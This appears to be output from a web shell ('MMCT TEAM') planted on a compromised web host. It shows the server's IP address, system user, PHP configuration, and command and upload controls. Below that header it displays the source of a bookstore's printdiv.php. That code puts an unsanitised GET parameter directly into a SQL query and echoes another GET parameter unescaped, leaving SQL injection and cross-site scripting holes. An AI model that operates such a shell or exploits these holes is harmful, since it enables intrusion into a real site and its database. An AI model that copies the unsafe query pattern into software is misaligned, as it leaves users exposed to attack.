MMCT TEAM
Server IP : 162.214.80.37  /  Your IP : 216.73.216.83
Web Server : Apache
System : Linux sh013.webhostingservices.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : imyrqtmy ( 2189)
PHP Version : 8.2.18
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0750) :  /home2/imyrqtmy/public_html/edutextlearning/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home2/imyrqtmy/public_html/edutextlearning/printdiv.php
<?php
session_start();

error_reporting(E_ERROR | E_PARSE); 
include ("Admin/Includes/db.php");
 @$uid =  $_SESSION['userid'] ;
$pid  = $_GET['id'];
$cat  = $_GET['cat'];

 $sqpd = "select * from tbl_product where id='$pid'";
  $sql_pd = mysqli_query($con, $sqpd) or die(mysqli_error($con));
  $sql_rowpd = mysqli_fetch_array($sql_pd);

   $name = $sql_rowpd['name'];
   $price = $sql_rowpd['price'];
   $author = $sql_rowpd['author'];
   $isbn = $sql_rowpd['isbn'];
   $img = $sql_rowpd['main_img'];
   $l_desc = $sql_rowpd['l_desc'];
   $yop = $sql_rowpd['yop'];
   $pages = $sql_rowpd['pages'];
   $lang = $sql_rowpd['lang'];

   $shaps = $sql_rowpd['goodies'];

   $shapse = explode(",", $shaps);
?>
<html>
    <head>
        <title>Edutext Learning</title>
        <style>
            body {
                font-family: Arial, sans-serif;
            }
            .table-container {
                width: 100%;
                display: flex;
                flex-wrap: wrap;
            }
            .table-container img {
                width: 200px;
            }
            .table-container ul {
                list-style-type: none;
                padding: 0;
            }
            .table-container h2 {
                width: 100%;
                margin-top: 20px;
            }
            .columni {
                width: 40%;
                box-sizing: border-box;
                padding: 10px;
            }
            .column {
                width: 50%;
                box-sizing: border-box;
                padding: 10px;
            }
            .mrb{
                padding-bottom: 3px;
            }
            .mrb1{
                padding-bottom: 3px;
                    font-size: 16px;
                    font-weight: bold;
            }
            .coli{
                width: 100%;
                display: flex;
                flex-wrap: wrap;
                    padding: 10px;
            }
            .coli img {
                height: 90px;
                width: 104px;
            }
            .mar-t{
                    margin-top: 71px;
            }
            .txt{
                    margin-top: -48px;
                    padding-left: 11px;
            }
            .txt a{
                color: #000;
                /* margin-left: 106px; */
            }
            
            .imgs{
               width: 180px; 
               height: 220px;
            }
        </style>
    </head>
    <body>
        <div id="myDiv" >
            <div class="coli">
            <!-- <img src="image/15b73c64-be87-4e47-86fc-fa127f2e6a35.jpg" alt=""> &nbsp; <h4 class="mar-t">Edutext Learning</h4> -->
            <!--<img src="image/15b73c64-be87-4e47-86fc-fa127f2e6a35.jpg" alt="">-->
            <img src="image/tt.jpg" style="height: 60px; width:200px;" alt="">

            </div>
            <!--<div class="txt">-->
            <!--    <h4 class="mar-t">Edutext Learning</h4>-->
            <!--    <h4 style="margin-top: -17px;"><a href="www.edutextlearining.com">www.edutextlearining.com</a></h4>-->
            <!--</div>-->
            <div class="table-container">
            <!-- <div class="txt">
                <h4 class="mar-t">Edutext Learning <br>
                     <a href="www.edutextlearining.com">www.edutextlearining.com</a></h4>

            </div> -->
            
           
            <div class="columni">
                <img id="bookImage" class="imgs" src="Admin/current_causes/<?php echo $img; ?>" alt="Seed Science and Technology">
            </div>
            <div class="column">
               
                <ul>
                      <li class="mrb1">Title : <?php echo $name; ?></li>
                      <li class="mrb">Author : <?php echo $author; ?></li>
                                <li class="mrb">ISBN : <?php echo $isbn; ?></li>
                                 <li class="mrb">Binding : Paperback</li>
                                <li class="mrb">Price : $&nbsp;69.99</li>
                                <li class="mrb">Year : 2025</li>
                                <li class="mrb">Pages :  <?php echo $pages; ?></li>
                                 <li class="mrb">Langauge : English </li>
                                <li class="mrb">Subject Category :  <?php echo $cat; ?></li>
                </ul>
            </div>
           
               <article class="review-article">
                   <h3> Book Description :  </h3>
                               <?php echo $l_desc; ?>
                            </article>
        </div>
        </div>
        <script src="https://code.jquery.com/jquery-3.7.1.min.js" integrity="sha256-/JqT3SQfawRcv/BIHPThkBvs0OEvtFFmqPF/lYI/Cxo=" crossorigin="anonymous"></script>
        <script>
            function printDiv(divId) {
                var divContents = document.getElementById(divId).innerHTML;
                var imageUrl = document.getElementById('bookImage').src;
                var printWindow = window.open('', '', 'height=400,width=800');
                printWindow.document.write('<html><head><title>Edutext Learning</title></head>');
                printWindow.document.write('<style>');
                printWindow.document.write('body { font-family: Arial, sans-serif; }');
                printWindow.document.write('.table-container { width: 100%; display: flex; flex-wrap: wrap; }');
                printWindow.document.write('.table-container img { width: 200px; }');
                printWindow.document.write('.table-container ul { list-style-type: none; padding: 0; }');
                printWindow.document.write('.table-container h2 { width: 100%; margin-top: 20px; }');
                printWindow.document.write('.column { width: 50%; box-sizing: border-box; padding: 10px; }');
                printWindow.document.write('.columni { width: 30%; box-sizing: border-box; padding: 10px; }');
                printWindow.document.write('.mrb1 { padding-bottom: 3px;font-size: 16px;font-weight: bold; }');
                printWindow.document.write('.mrb { padding-bottom: 3px;  }');
                printWindow.document.write('.mar-t { margin-top: 71px;  }');
                printWindow.document.write('.txt{margin-top: -48px;padding-left: 11px;}');
                printWindow.document.write('.imgs{width: 180px; height: 220px;}');
                printWindow.document.write('.txt a{color: #000;}');
                printWindow.document.write('.coli { width: 100%; display: flex; flex-wrap: wrap;    padding: 10px; }');
                printWindow.document.write('.coli img {height: 90px;width: 104px;}');
                printWindow.document.write('</style></head><body>');
                printWindow.document.write('<div class="table-container">' + divContents + '</div>');
                printWindow.document.write('<script>');
                printWindow.document.write('document.getElementById("bookImage").src = "' + imageUrl + '";');
                printWindow.document.write('setTimeout(function () { window.close(); }, 1000);');  // Close print window after printing
                printWindow.document.write('<\/script>');
                printWindow.document.write('</body></html>');
                printWindow.document.close();
                printWindow.focus();
                printWindow.print();
            }
            $(document).ready(function () {
                printDiv('myDiv');
                setTimeout(function () { window.close(); }, 2000); // Close main window after printing
            });
        </script>
    </body>
</html>

MMCT - 2023